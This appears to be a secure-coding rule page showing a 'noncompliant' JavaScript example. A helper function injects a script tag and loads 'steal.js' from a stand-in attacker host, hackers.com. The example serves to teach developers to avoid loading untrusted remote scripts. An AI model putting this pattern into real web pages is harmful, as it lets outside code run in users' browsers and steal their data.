13 lines
274 B
Plaintext
13 lines
274 B
Plaintext
|
|
== Noncompliant Code Example
|
|
|
|
----
|
|
function include(url) {
|
|
var s = document.createElement("script");
|
|
s.setAttribute("type", "text/javascript");
|
|
s.setAttribute("src", url);
|
|
document.body.appendChild(s);
|
|
}
|
|
include("http://hackers.com/steal.js") // Noncompliant
|
|
----
|